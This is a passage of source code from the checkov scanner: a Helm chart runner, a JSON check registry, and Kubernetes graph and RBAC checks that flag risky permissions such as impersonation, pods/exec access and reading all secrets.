cur_writer.close() file_path = os.path.join(target_dir, source) parent = os.path.dirname(file_path) os.makedirs(parent, exist_ok=True) cur_source_file = source cur_writer = open(os.path.join(target_dir, source), 'a') # Now extract the original template path from the source comment # Format is typically: "chartname/templates/deployment.yaml" # We need to extract just the "templates/deployment.yaml" part template_path = source.split('/', 1)[1] if '/' in source else source # Construct the path to the original template file original_template = os.path.join(chart_dir, template_path) if os.path.exists(original_template): # Store mapping: temp file path (without prefix) -> original template path template_mapping[os.path.join(target_dir, source).replace('//', '/')] = original_template if cur_writer: cur_writer.write('---' + os.linesep) cur_writer.write(s + os.linesep) last_line_dashes = False else: if s.startswith('# Source: '): raise Exception(f'Line {line_num}: Unexpected line starting with # Source: {s}') if not cur_writer: continue else: cur_writer.write(s + os.linesep) line_num += 1 if cur_writer: cur_writer.close() @staticmethod def _get_target_dir(chart_item: tuple[str, dict[str, Any]], root_folder: str, target_folder_path: str) -> str | None: (chart_dir, chart_meta) = chart_item target_dir = chart_dir.replace(root_folder, f'{target_folder_path}/') target_dir.replace("//", "/") chart_name = chart_meta.get('name', chart_meta.get('Name')) if not chart_name: logging.info( f"Error parsing chart located {chart_dir}, chart has no name available", exc_info=True, ) return None if target_dir.endswith('/'): target_dir = target_dir[:-1] if target_dir.endswith(chart_name): target_dir = target_dir[:-len(chart_name)] return target_dir @staticmethod def get_binary_output_from_directory(chart_dir: str, target_dir: str, helm_command: str, runner_filter: RunnerFilter, timeout: int = 3600) \ -> tuple[bytes, tuple[str, dict[str, Any]]] | tuple[None, None]: _, chart_meta = Runner.parse_helm_chart_details(chart_dir) chart_item = (chart_dir, chart_meta or {}) return Runner.get_binary_output(chart_item, target_dir, helm_command, runner_filter, timeout) @staticmethod def get_binary_output( chart_item: tuple[str, dict[str, Any]], target_dir: str, helm_command: str, runner_filter: RunnerFilter, timeout: int = 3600 ) -> tuple[bytes, tuple[str, dict[str, Any]]] | tuple[None, None]: (chart_dir, chart_meta) = chart_item if not isinstance(chart_meta, dict): logging.error(f"invalid chart meta {chart_meta}") return None, None chart_name = chart_meta.get('name', chart_meta.get('Name')) chart_version = chart_meta.get('version', chart_meta.get('Version')) logging.info( f"Processing chart found at: {chart_dir}, name: {chart_name}, version: {chart_version}") # dependency list is nicer to parse than dependency update. try: helm_binary_list_chart_deps = subprocess.Popen([helm_command, 'dependency', 'list', chart_dir], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # nosec o, e = helm_binary_list_chart_deps.communicate() except Exception: logging.error('Error run helm command', exc_info=True) return None, None logging.debug( f"Ran helm command to get dependency output. Chart: {chart_name}. dir: {target_dir}. Output: {str(o, 'utf-8')}. Errors: {str(e, 'utf-8')}") if e: if "Warning: Dependencies" in str(e, 'utf-8'): logging.warning( f"V1 API chart without Chart.yaml dependencies. Skipping chart dependancy list for {chart_name} at dir: {chart_dir}. Working dir: {target_dir}. Error details: {str(e, 'utf-8')}") else: logging.warning( f"Error processing helm dependencies for {chart_name} at source dir: {chart_dir}. Working dir: {target_dir}. Error details: {str(e, 'utf-8')}") helm_command_args = [helm_command, 'template', '--dependency-update', chart_dir] if runner_filter.var_files: for var in runner_filter.var_files: helm_command_args.append("--values") helm_command_args.append(var) if threading.current_thread() is threading.main_thread(): signal.signal(signal.SIGALRM, handle_timeout) signal.alarm(timeout) try: # --dependency-update needed to pull in deps before templating. proc = subprocess.Popen(helm_command_args, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # nosec o, e = proc.communicate() if threading.current_thread() is threading.main_thread(): signal.alarm(0) if e: logging.warning( f"Failed processing helm chart {chart_name} at dir: {chart_dir}. Working dir: {target_dir}. Failure details: {str(e, 'utf-8')}") return None, None logging.debug( f"Ran helm command to template chart output. Chart: {chart_name}. dir: {target_dir}. Output: {str(o, 'utf-8')}. Errors: {str(e, 'utf-8')}") logging.info(f'Done helm run for: {chart_dir}') return o, chart_item except Exception as e: if threading.current_thread() is threading.main_thread(): signal.alarm(0) if isinstance(e, TimeoutError): logging.info( f"Error processing helm chart {chart_name} at dir: {chart_dir}. Working dir: {target_dir}. got timeout" ) else: logging.info( f"Error processing helm chart {chart_name} at dir: {chart_dir}. Working dir: {target_dir}.", exc_info=True, ) return None, None @staticmethod def _convert_chart_to_k8s( chart_item: tuple[str, dict[str, Any]], root_folder: str, target_folder_path: str, helm_command: str, runner_filter: RunnerFilter, template_mapping: dict[str, str] ) -> None: target_dir = Runner._get_target_dir(chart_item, root_folder, target_folder_path) if not target_dir: return o, _ = Runner.get_binary_output(chart_item, target_folder_path, helm_command, runner_filter) if o is None: return try: # chart_dir is the directory containing the Chart.yaml file chart_dir = chart_item[0] # This is the full path to the chart directory Runner._parse_output(target_dir, o, chart_dir, template_mapping) except Exception: (chart_dir, chart_meta) = chart_item chart_name = chart_meta.get('name', chart_meta.get('Name')) logging.info( f"Error parsing output {chart_name} at dir: {chart_dir}. Working dir: {target_dir}.", exc_info=True, ) @staticmethod def _get_chart_dir_and_meta( root_folder: str | None, files: list[str] | None, runner_filter: RunnerFilter ) -> list[tuple[str, dict[str, Any]]]: chart_directories = find_chart_directories(root_folder, files, runner_filter.excluded_paths) chart_dir_and_meta = parallel_runner.run_function(func=Runner.parse_helm_chart_details, items=chart_directories) # remove parsing failures cleaned_chart_dir_and_meta = [(chart_dir, meta) for chart_dir, meta in chart_dir_and_meta if meta] return cleaned_chart_dir_and_meta @staticmethod def _get_processed_chart_dir_and_meta( chart_dir_and_meta: list[tuple[str, dict[str, Any]]], root_folder: str ) -> list[tuple[str, dict[str, Any]]]: processed_chart_dir_and_meta = [] for chart_dir, chart_meta in chart_dir_and_meta: processed_chart_dir_and_meta.append((chart_dir.replace(root_folder, ""), chart_meta)) return processed_chart_dir_and_meta def convert_helm_to_k8s( self, root_folder: str | None, files: list[str] | None, runner_filter: RunnerFilter ) -> list[tuple[Any, dict[str, Any]]]: self.root_folder = root_folder or "" self.runner_filter = runner_filter self.target_folder_path = tempfile.mkdtemp() chart_dir_and_meta = Runner._get_chart_dir_and_meta(self.root_folder, files, runner_filter) chart_items = [ (chart_item, self.root_folder, self.target_folder_path, self.helm_command, runner_filter, self.template_mapping) for chart_item in chart_dir_and_meta ] list(parallel_runner.run_function(func=Runner._convert_chart_to_k8s, items=chart_items)) return Runner._get_processed_chart_dir_and_meta(chart_dir_and_meta, self.root_folder) def remove_target_folder(self) -> None: try: shutil.rmtree(self.target_folder_path) # delete directory except OSError as exc: logging.debug("failed to remove helm target folder path", exc_info=exc) def run( self, root_folder: str | None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() k8s_runner = K8sHelmRunner() k8s_runner.chart_dir_and_meta = self.convert_helm_to_k8s(root_folder, files, runner_filter) k8s_runner.template_mapping = self.template_mapping k8s_runner.original_root_dir = str(root_folder) k8s_runner.tmp_root_dir = self.get_k8s_target_folder_path() report = k8s_runner.run(self.get_k8s_target_folder_path(), external_checks_dir=external_checks_dir, runner_filter=runner_filter) self.graph_manager = k8s_runner.graph_manager self.remove_target_folder() return report def fix_report_paths(report: Report, tmp_dir: str, template_mapping: dict[str, str], original_root_folder: str) -> None: """ Fix file paths in the report to point to original Helm template files instead of temporary K8s manifests. Args: report: The report containing checks with file paths to fix tmp_dir: The temporary directory containing the rendered K8s manifests template_mapping: Mapping of temporary paths to original template paths original_root_folder: The original Helm chart folder """ for check in itertools.chain(report.failed_checks, report.passed_checks): # First remove the tmp_dir prefix tmp_path = check.repo_file_path # Then check if we have a mapping to the original template file if tmp_path in template_mapping: file_abs_path = template_mapping[tmp_path] repo_file_path = file_abs_path.replace(original_root_folder, '', 1) check.repo_file_path = repo_file_path check.file_path = repo_file_path check.file_abs_path = file_abs_path else: check.repo_file_path = tmp_path.replace(tmp_dir, '', 1) # Update resources in the report new_resources = set() for resource in report.resources: resource_file_path = resource.split(':')[0] resource_id = resource.split(':')[1] if resource_file_path in template_mapping: new_resources.add(f'{template_mapping[resource_file_path]}:{resource_id}') else: new_resources.add(resource.replace(tmp_dir, '', 1)) report.resources = new_resources def get_skipped_checks(entity_conf: dict[str, Any]) -> list[dict[str, str]]: skipped = [] metadata = {} if not isinstance(entity_conf, dict): return skipped if entity_conf["kind"] == "containers" or entity_conf["kind"] == "initContainers": metadata = entity_conf["parent_metadata"] else: if "metadata" in entity_conf.keys(): metadata = entity_conf["metadata"] if "annotations" in metadata.keys() and metadata["annotations"] is not None: for key in metadata["annotations"].keys(): skipped_item = {} if "checkov.io/skip" in key or "bridgecrew.io/skip" in key: if "CKV_K8S" in metadata["annotations"][key]: if "=" in metadata["annotations"][key]: (skipped_item["id"], skipped_item["suppress_comment"]) = metadata["annotations"][key].split("=") else: skipped_item["id"] = metadata["annotations"][key] skipped_item["suppress_comment"] = "No comment provided" skipped.append(skipped_item) else: logging.info(f"Parse of Annotation Failed for {metadata['annotations'][key]}: {entity_conf}") continue return skipped def find_chart_directories(root_folder: str | None, files: list[str] | None, excluded_paths: list[str]) -> list[str]: chart_directories = [] if not excluded_paths: excluded_paths = [] if files: logging.info('Running with --file argument; checking for Helm Chart.yaml files') for file in files: if os.path.basename(file) == 'Chart.yaml': chart_directories.append(os.path.dirname(file)) if root_folder: for root, d_names, f_names in os.walk(root_folder): filter_ignored_paths(root, d_names, excluded_paths) filter_ignored_paths(root, f_names, excluded_paths) if 'Chart.yaml' in f_names: chart_directories.append(root) return chart_directories ================================================ FILE: checkov/json_doc/__init__.py ================================================ ================================================ FILE: checkov/json_doc/base_json_check.py ================================================ from typing import Iterable, Optional from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories from checkov.json_doc.registry import registry class BaseJsonCheck(BaseCheck): def __init__(self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_entities: Iterable[str], block_type: str, path: Optional[str] = None) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, ) self.path = path registry.register(self) ================================================ FILE: checkov/json_doc/base_registry.py ================================================ from __future__ import annotations from typing import Any, Dict, List, Callable from checkov.common.checks.base_check import BaseCheck from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.models.enums import CheckResult from checkov.common.typing import _SkippedCheck from checkov.json_doc.enums import BlockType from checkov.runner_filter import RunnerFilter class Registry(BaseCheckRegistry): def __init__(self, report_type: str) -> None: # TODO set default to JSON super().__init__(report_type=report_type) self._scanner: Dict[str, Callable[[str, Any, Any, Any, str, str, Dict[str, Any]], None]] = { BlockType.ARRAY: self._scan_json_array, BlockType.OBJECT: self._scan_json_object, } def _scan_json_array( self, scanned_file: str, check: BaseCheck, skip_info: _SkippedCheck, entity: List[Dict[str, Any]], entity_name: str, entity_type: str, results: Dict[str, Any] ) -> None: for item in entity: if entity_name in item: result = self.update_result( check, item[entity_name], entity_name, entity_type, results, scanned_file, skip_info, ) if result == CheckResult.FAILED: break def _scan_json_object( self, scanned_file: str, check: BaseCheck, skip_info: _SkippedCheck, entity: Dict[str, Any], entity_name: str, entity_type: str, results: Dict[str, Any] ) -> None: if entity_name in entity: self.update_result( check, entity[entity_name], entity_name, entity_type, results, scanned_file, skip_info, ) def _scan_json_document( self, scanned_file: str, check: BaseCheck, skip_info: _SkippedCheck, entity: Dict[str, Any], entity_name: str, entity_type: str, results: Dict[str, Any] ) -> None: self.update_result( check, entity, entity_name, entity_type, results, scanned_file, skip_info ) def _scan_json( self, scanned_file: str, checks: List[BaseCheck], skipped_checks: List[_SkippedCheck], runner_filter: RunnerFilter, entity: Dict[str, Any], entity_name: str, entity_type: str, results: Dict[str, Any], ) -> None: for check in checks: skip_info = ([x for x in skipped_checks if x["id"] == check.id] or [{}])[0] if runner_filter.should_run_check(check=check, report_type=self.report_type): scanner: Callable[[str, Any, Any, Any, str, str, Dict[str, Any]], None] = self._scanner.get(check.block_type, self._scan_json_document) if check.path: target = entity for p in check.path.split("."): if p.endswith("]"): ip = p.split("[") i = int(ip[1][:-1]) target = target[ip[0]][i] else: target = target[p] else: target = entity scanner( scanned_file, check, skip_info, target, entity_name, entity_type, results, ) def scan( # type:ignore[override] # return type is different than the base class self, scanned_file: str, entity: Dict[str, Any], skipped_checks: List[_SkippedCheck], runner_filter: RunnerFilter ) -> Dict[str, Any]: results: Dict[str, Any] = {} if not entity: return results for instruction, checks in self.checks.items(): self._scan_json( scanned_file=scanned_file, checks=checks, skipped_checks=skipped_checks, runner_filter=runner_filter, entity=entity, entity_name=instruction, entity_type=instruction, results=results, ) if self.wildcard_checks["*"]: self._scan_json( scanned_file=scanned_file, checks=self.wildcard_checks["*"], skipped_checks=skipped_checks, runner_filter=runner_filter, entity=entity, entity_name=scanned_file, entity_type="*", results=results, ) return results def update_result( self, check: BaseCheck, entity_configuration: Dict[str, Any], entity_name: str, entity_type: str, results: Dict[str, Any], scanned_file: str, skip_info: _SkippedCheck, ) -> CheckResult: check_result = self.run_check( check, entity_configuration, entity_name, entity_type, scanned_file, skip_info, ) result = check_result["result"] result_key = f'{entity_type}.{entity_name}.{check.id}' if isinstance(result, CheckResult) and result == CheckResult.SKIPPED: results[result_key] = { "check": check, "result": result, "suppress_comment": check_result["suppress_comment"], "results_configuration": None, } return result if isinstance(result, tuple): results[result_key] = { "check": check, "result": result[0], "results_configuration": result[1], } return result[0] evaluated_keys = check_result.get('evaluated_keys', []) results[result_key] = { "check": check, "result": result, "results_configuration": self.get_result_configuration(evaluated_keys, entity_configuration), } return result def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]: # not used, but is an abstractmethod return "", "", {} @staticmethod def get_result_configuration(evaluated_keys: list[str], entity_conf: dict[str, Any] | list[Any]) \ -> dict[str, Any] | list[str | dict[str, Any]]: if len(evaluated_keys) == 1 and isinstance(entity_conf, dict): # the result configuration should be the smallest code block found by the evaluated_key path, that is of \ # type dict or list - the only types that currently have start_mark and end_mark lines configured for path in evaluated_keys[0].split('/'): reduced_conf = entity_conf.get(path) # type:ignore[union-attr] if not reduced_conf or isinstance(reduced_conf, str): return entity_conf entity_conf = reduced_conf return entity_conf ================================================ FILE: checkov/json_doc/enums.py ================================================ from enum import Enum class BlockType(str, Enum): DOCUMENT = "jsondocument" OBJECT = "jsonobject" ARRAY = "jsonarray" SCALAR = "jsonscalar" ================================================ FILE: checkov/json_doc/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.json_doc.base_registry import Registry registry = Registry(CheckType.JSON) ================================================ FILE: checkov/json_doc/runner.py ================================================ from __future__ import annotations from typing import Any, TYPE_CHECKING from checkov.common.bridgecrew.check_type import CheckType from checkov.common.parsers.json import parse from checkov.common.parsers.node import DictNode, ListNode from checkov.common.runners.object_runner import Runner as ObjectRunner if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.typing import LibraryGraphConnector from checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph from checkov.common.runners.graph_manager import ObjectGraphManager class Runner(ObjectRunner): check_type = CheckType.JSON # noqa: CCE003 # a static attribute def __init__( self, db_connector: LibraryGraphConnector | None = None, source: str = "json", graph_class: type[ObjectLocalGraph] | None = None, graph_manager: ObjectGraphManager | None = None, ) -> None: super().__init__( db_connector=db_connector, source=source, graph_class=graph_class, graph_manager=graph_manager, ) self.file_extensions = ['.json'] def import_registry(self) -> BaseCheckRegistry: from checkov.json_doc.registry import registry return registry @staticmethod def _parse_file( f: str, file_content: str | None = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: if not f.endswith(".json"): return None return parse(filename=f, file_content=file_content) def get_start_end_lines(self, end: int, result_config: dict[str, Any], start: int) -> tuple[int, int]: if not isinstance(result_config, (DictNode, ListNode)): # shouldn't happen return 0, 0 start = result_config.start_mark.line end = result_config.end_mark.line return end, start ================================================ FILE: checkov/kubernetes/__init__.py ================================================ from checkov.kubernetes.checks import * # noqa ================================================ FILE: checkov/kubernetes/checks/__init__.py ================================================ ================================================ FILE: checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml ================================================ metadata: id: "CKV2_K8S_3" name: "No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts" category: "KUBERNETES" definition: and: - cond_type: filter value: - ClusterRoleBinding - RoleBinding operator: within attribute: kind - or: - cond_type: connection operator: not_exists resource_types: - ClusterRoleBinding - RoleBinding connected_resource_types: - ClusterRole - Role - cond_type: attribute attribute: 'subjects.*.kind' operator: not_within value: - 'Node' - 'ServiceAccount' resource_types: - ClusterRoleBinding - RoleBinding - and: - cond_type: connection operator: exists resource_types: - ClusterRoleBinding - RoleBinding connected_resource_types: - ClusterRole - Role - or: - cond_type: attribute attribute: rules.resources operator: not_intersects value: - 'groups' - 'users' - 'serviceaccounts' - '*' resource_types: - ClusterRole - Role - cond_type: attribute attribute: rules.verbs operator: not_intersects value: - 'impersonate' - '*' resource_types: - ClusterRole - Role ================================================ FILE: checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml ================================================ metadata: id: "CKV2_K8S_4" name: "ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster." category: "KUBERNETES" definition: and: - cond_type: filter value: - ClusterRoleBinding - RoleBinding operator: within attribute: kind - or: - cond_type: connection operator: not_exists resource_types: - ClusterRoleBinding - RoleBinding connected_resource_types: - ClusterRole - Role - cond_type: attribute attribute: 'subjects.*.kind' operator: not_within value: - 'Node' - 'ServiceAccount' resource_types: - ClusterRoleBinding - RoleBinding - and: - cond_type: connection operator: exists resource_types: - ClusterRoleBinding - RoleBinding connected_resource_types: - ClusterRole - Role - or: - cond_type: attribute attribute: rules.resources operator: not_intersects value: - 'services/status' - '*' resource_types: - ClusterRole - Role - cond_type: attribute attribute: rules.verbs operator: not_intersects value: - 'update' - 'patch' - '*' resource_types: - ClusterRole - Role ================================================ FILE: checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml ================================================ metadata: id: "CKV2_K8S_2" name: "Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation" category: "KUBERNETES" definition: and: - cond_type: filter value: - ClusterRoleBinding - RoleBinding operator: within attribute: kind - or: - cond_type: connection operator: not_exists resource_types: - ClusterRoleBinding - RoleBinding connected_resource_types: - ClusterRole - Role - cond_type: attribute attribute: 'subjects.*.kind' operator: not_within value: - 'Node' - 'ServiceAccount' resource_types: - ClusterRoleBinding - RoleBinding - and: - cond_type: connection operator: exists resource_types: - ClusterRoleBinding - RoleBinding connected_resource_types: - ClusterRole - Role - or: - cond_type: attribute attribute: rules.resources operator: not_intersects value: - 'pods/exec' - 'nodes/proxy' - '*' resource_types: - ClusterRole - Role - cond_type: attribute attribute: rules.verbs operator: not_intersects value: - 'create' - '*' resource_types: - ClusterRole - Role ================================================ FILE: checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml ================================================ metadata: id: CKV2_K8S_5 name: "No ServiceAccount/Node should be able to read all secrets" category: "KUBERNETES" definition: and: - cond_type: filter value: - ClusterRoleBinding - RoleBinding operator: within attribute: kind - or: - cond_type: connection operator: not_exists resource_types: - ClusterRoleBinding - RoleBinding connected_resource_types: - ClusterRole - Role - cond_type: attribute attribute: 'subjects.*.kind' operator: not_within value: - 'Node' - 'ServiceAccount' resource_types: - ClusterRoleBinding - RoleBinding - and: - cond_type: connection operator: exists resource_types: - ClusterRoleBinding - RoleBinding connected_resource_types: - ClusterRole - Role - or: - cond_type: attribute attribute: rules.resources operator: not_intersects value: - 'secrets' - '*' resource_types: - ClusterRole - Role - cond_type: attribute attribute: rules.verbs operator: not_intersects value: - 'get' - 'watch' - 'list' - '*' resource_types: - ClusterRole - Role - cond_type: attribute attribute: rules.resourceNames operator: exists resource_types: - ClusterRole - Role ================================================ FILE: checkov/kubernetes/checks/graph_checks/RequireAllPodsToHaveNetworkPolicy.yaml ================================================ metadata: id: "CKV2_K8S_6" name: "Minimize the admission of pods which lack an associated NetworkPolicy" category: "KUBERNETES" definition: and: - cond_type: filter attribute: resource_type operator: within value: - Pod - cond_type: connection operator: exists resource_types: - Pod - Deployment connected_resource_types: - NetworkPolicy ================================================ FILE: checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml ================================================ metadata: id: "CKV2_K8S_1" name: "RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding" category: "KUBERNETES" definition: and: - cond_type: filter value: - ClusterRoleBinding - RoleBinding operator: within attribute: kind - or: - cond_type: connection # Filter ClusterRoleBiding with connection to ClusterRole operator: not_exists resource_types: - ClusterRoleBinding - RoleBinding connected_resource_types: - ClusterRole - Role - cond_type: attribute attribute: 'subjects.*.kind' operator: not_within value: - 'Node' - 'ServiceAccount' resource_types: - ClusterRoleBinding - RoleBinding - and: - cond_type: connection # Filter ClusterRoleBiding with connection to ClusterRole operator: exists resource_types: - ClusterRoleBinding - RoleBinding connected_resource_types: - ClusterRole - Role - or: - cond_type: attribute attribute: rules.resources operator: not_intersects value: - 'clusterrolebindings' - 'rolebindings' - '*' resource_types: - ClusterRole - Role - cond_type: attribute attribute: rules.verbs operator: not_intersects value: - 'bind' - '*' resource_types: - ClusterRole - Role ================================================ FILE: checkov/kubernetes/checks/graph_checks/__init__.py ================================================ ================================================ FILE: checkov/kubernetes/checks/resource/__init__.py ================================================ from checkov.kubernetes.checks.resource.k8s import * # noqa ================================================ FILE: checkov/kubernetes/checks/resource/base_container_check.py ================================================ import logging from abc import abstractmethod from collections.abc import Iterable from typing import Dict, Any, List, Optional from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check from checkov.kubernetes.checks.resource.registry import registry class BaseK8sContainerCheck(BaseK8Check): TEMPLATE_ENTITIES = ( "Deployment", "DeploymentConfig", "DaemonSet", "Job", "ReplicaSet", "ReplicationController", "StatefulSet", ) SUPPORTED_ENTITIES = ( "CronJob", "Pod", "PodTemplate", ) + TEMPLATE_ENTITIES def __init__( self, name: str, id: str, categories: Optional[List[CheckCategories]] = None, supported_entities: Optional["Iterable[str]"] = None, supported_container_types: Optional["Iterable[str]"] = None, guideline: Optional[str] = None, ) -> None: categories = categories or [CheckCategories.KUBERNETES] supported_entities = supported_entities or BaseK8sContainerCheck.SUPPORTED_ENTITIES super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, guideline=guideline, ) self.supported_container_types = supported_container_types or ("containers", "initContainers") self.evaluated_container_keys: List[str] = [] registry.register(self) def get_resource_id(self, conf: Dict[str, Any]) -> str: # TODO: remove when implementing graph return f"{conf['kind']}.{conf['metadata'].get('namespace', 'default')}.{conf['metadata']['name']}" def scan_spec_conf(self, conf: Dict[str, Any]) -> CheckResult: if self.entity_type == "Pod": evaluated_key_prefix = "spec" try: spec = conf["spec"] metadata = conf.get("metadata", {}) except KeyError: logging.info(f"failed to extract {evaluated_key_prefix} for {self.entity_path}") return CheckResult.UNKNOWN elif self.entity_type in "PodTemplate": evaluated_key_prefix = "template/spec" try: spec = conf["template"]["spec"] metadata = conf["template"].get("metadata", {}) except KeyError: logging.info(f"failed to extract {evaluated_key_prefix} for {self.entity_path}") return CheckResult.UNKNOWN elif self.entity_type in BaseK8sContainerCheck.TEMPLATE_ENTITIES: evaluated_key_prefix = "spec/template/spec" try: spec = conf["spec"]["template"]["spec"] metadata = conf["spec"]["template"].get("metadata", {}) except (KeyError, TypeError): return CheckResult.UNKNOWN elif self.entity_type == "CronJob": evaluated_key_prefix = "spec/jobTemplate/spec/template/spec" try: spec = conf["spec"]["jobTemplate"]["spec"]["template"]["spec"] metadata = conf["spec"]["jobTemplate"]["spec"]["template"].get("metadata", {}) except (KeyError, TypeError): return CheckResult.UNKNOWN else: logging.info(f"entity type {self.entity_type} not supported") return CheckResult.UNKNOWN containers: List[Dict[str, Any]] = ( spec.get("containers", []) if "containers" in self.supported_container_types and isinstance(spec, dict) else [] ) or [] init_containers: List[Dict[str, Any]] = ( spec.get("initContainers", []) if "initContainers" in self.supported_container_types and isinstance(spec, dict) else [] ) or [] results = set() result = self._check_containers( evaluated_key_prefix=evaluated_key_prefix, container_type="containers", metadata=metadata, containers=containers, ) results.add(result) if result == CheckResult.FAILED: return CheckResult.FAILED result = self._check_containers( evaluated_key_prefix=evaluated_key_prefix, container_type="initContainers", metadata=metadata, containers=init_containers, ) results.add(result) if result == CheckResult.FAILED: return CheckResult.FAILED return CheckResult.PASSED if CheckResult.PASSED in results else CheckResult.UNKNOWN def _check_containers( self, evaluated_key_prefix: str, container_type: str, metadata: Dict[str, Any], containers: List[Dict[str, Any]] ) -> CheckResult: """Check containers for possible violations.""" if not isinstance(containers, list): return CheckResult.UNKNOWN results = set() for idx, container in enumerate(containers): result = self.scan_container_conf(metadata, container) results.add(result) # fail with the first occurrence if result == CheckResult.FAILED: if self.evaluated_container_keys: self.evaluated_keys = [ f"{evaluated_key_prefix}/{container_type}/[{idx}]/{key}" for key in self.evaluated_container_keys ] else: self.evaluated_keys = [f"{evaluated_key_prefix}/initContainers/[{idx}]"] return CheckResult.FAILED return CheckResult.PASSED if CheckResult.PASSED in results else CheckResult.UNKNOWN @abstractmethod def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: """Return result of container check.""" pass ================================================ FILE: checkov/kubernetes/checks/resource/base_rbac_check.py ================================================ from __future__ import annotations from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check from checkov.common.models.enums import CheckCategories, CheckResult from typing import Dict, Any, List, TYPE_CHECKING if TYPE_CHECKING: from collections.abc import Iterable class RbacOperation(): """ A collection of RBAC permissions that permit a certain operation within Kubernetes. For example, the RbacOperation below denotes a write operation on admission webhooks. control_webhooks = RbacOperation( apigroups=["admissionregistration.k8s.io"], verbs=["create", "update", "patch"], resources=["mutatingwebhookconfigurations", "validatingwebhookconfigurations"]) Rules matching an apiGroup, verb and resource should be able to perform the operation. """ __slots__ = ("apigroups", "resources", "verbs") def __init__(self, apigroups: List[str], verbs: List[str], resources: List[str]) -> None: self.apigroups = apigroups self.verbs = verbs self.resources = resources class BaseRbacK8sCheck(BaseK8Check): """ Base class for checks that evaluate RBAC permissions in Roles and ClusterRoles """ def __init__(self, name: str, id: str, supported_entities: Iterable[str] | None = None) -> None: if supported_entities is None: supported_entities = ("Role", "ClusterRole") categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities) # A role that grants *ALL* the RbacOperation in failing_operations fails this check self.failing_operations: list[RbacOperation] = [] def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: rules = conf.get("rules") if rules and isinstance(rules, list): for operation in self.failing_operations: # if one operation can't be found, check passes if not any(self.rule_can(rule, operation) for rule in rules): return CheckResult.PASSED # all operations were found, therefore the check fails return CheckResult.FAILED return CheckResult.PASSED # Check if a rule has an apigroup, verb, and resource specified in @operation def rule_can(self, rule: Dict[str, Any], operation: RbacOperation) -> bool: return self.apigroup_or_wildcard(rule, operation.apigroups) and \ self.verb_or_wildcard(rule, operation.verbs) and \ self.resource_or_wildcard(rule, operation.resources) def apigroup_or_wildcard(self, rule: Dict[str, Any], apigroups: List[str]) -> bool: return self.value_or_wildcard(rule, "apiGroups", apigroups) def verb_or_wildcard(self, rule: Dict[str, Any], verbs: List[str]) -> bool: return self.value_or_wildcard(rule, "verbs", verbs) def resource_or_wildcard(self, rule: Dict[str, Any], resources: List[str]) -> bool: if "resources" in rule: for granted_resource in rule["resources"]: if self.is_wildcard(granted_resource): return True for failing_resource in resources: if granted_resource == failing_resource: return True # Check for '*/subresource' syntax if "/" in failing_resource and "/" in granted_resource: if granted_resource == "*/" + failing_resource.split("/")[1]: return True return False # Check if rule has a key with a wildcard or a value from @value_list def value_or_wildcard(self, rule: Dict[str, Any], key: str, value_list: List[str]) -> bool: if rule.get(key): for value in rule[key]: if self.is_wildcard(value) or value in value_list: return True return False # Check if value is a K8s RBAC wildcard def is_wildcard(self, value: str) -> bool: return value == "*" ================================================ FILE: checkov/kubernetes/checks/resource/base_registry.py ================================================ from __future__ import annotations from typing import Any, TYPE_CHECKING from checkov.common.checks.base_check_registry import BaseCheckRegistry if TYPE_CHECKING: from checkov.common.checks.base_check import BaseCheck from checkov.common.typing import _SkippedCheck, _CheckResult from checkov.runner_filter import RunnerFilter class Registry(BaseCheckRegistry): def __init__(self, report_type: str) -> None: super().__init__(report_type) def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, dict[str, Any]]: # type:ignore[override] kind = entity.get("kind") or "" conf = entity return kind, conf def scan( self, scanned_file: str, entity: dict[str, Any], skipped_checks: list[_SkippedCheck], runner_filter: RunnerFilter, report_type: str | None = None, ) -> dict[BaseCheck, _CheckResult]: (entity_type, entity_configuration) = self.extract_entity_details(entity) results = {} checks = self.get_checks(entity_type) for check in checks: skip_info: "_SkippedCheck" = {} if skipped_checks: if check.id in [x['id'] for x in skipped_checks]: skip_info = [x for x in skipped_checks if x['id'] == check.id][0] if self._should_run_scan(check, entity_configuration, runner_filter, self.report_type): self.logger.debug("Running check: {} on file {}".format(check.name, scanned_file)) result = check.run(scanned_file=scanned_file, entity_configuration=entity_configuration, entity_name=entity_type, entity_type=entity_type, skip_info=skip_info) results[check] = result return results @staticmethod def _should_run_scan( check: BaseCheck, entity_configuration: dict[str, Any], runner_filter: RunnerFilter, report_type: str ) -> bool: check_id_allowlist = runner_filter.checks check_id_denylist = runner_filter.skip_checks if check_id_allowlist or runner_filter.check_threshold: # Allow list provides namespace-only allows, check-only allows, or both # If namespaces not specified, all namespaces are scanned # If checks not specified, 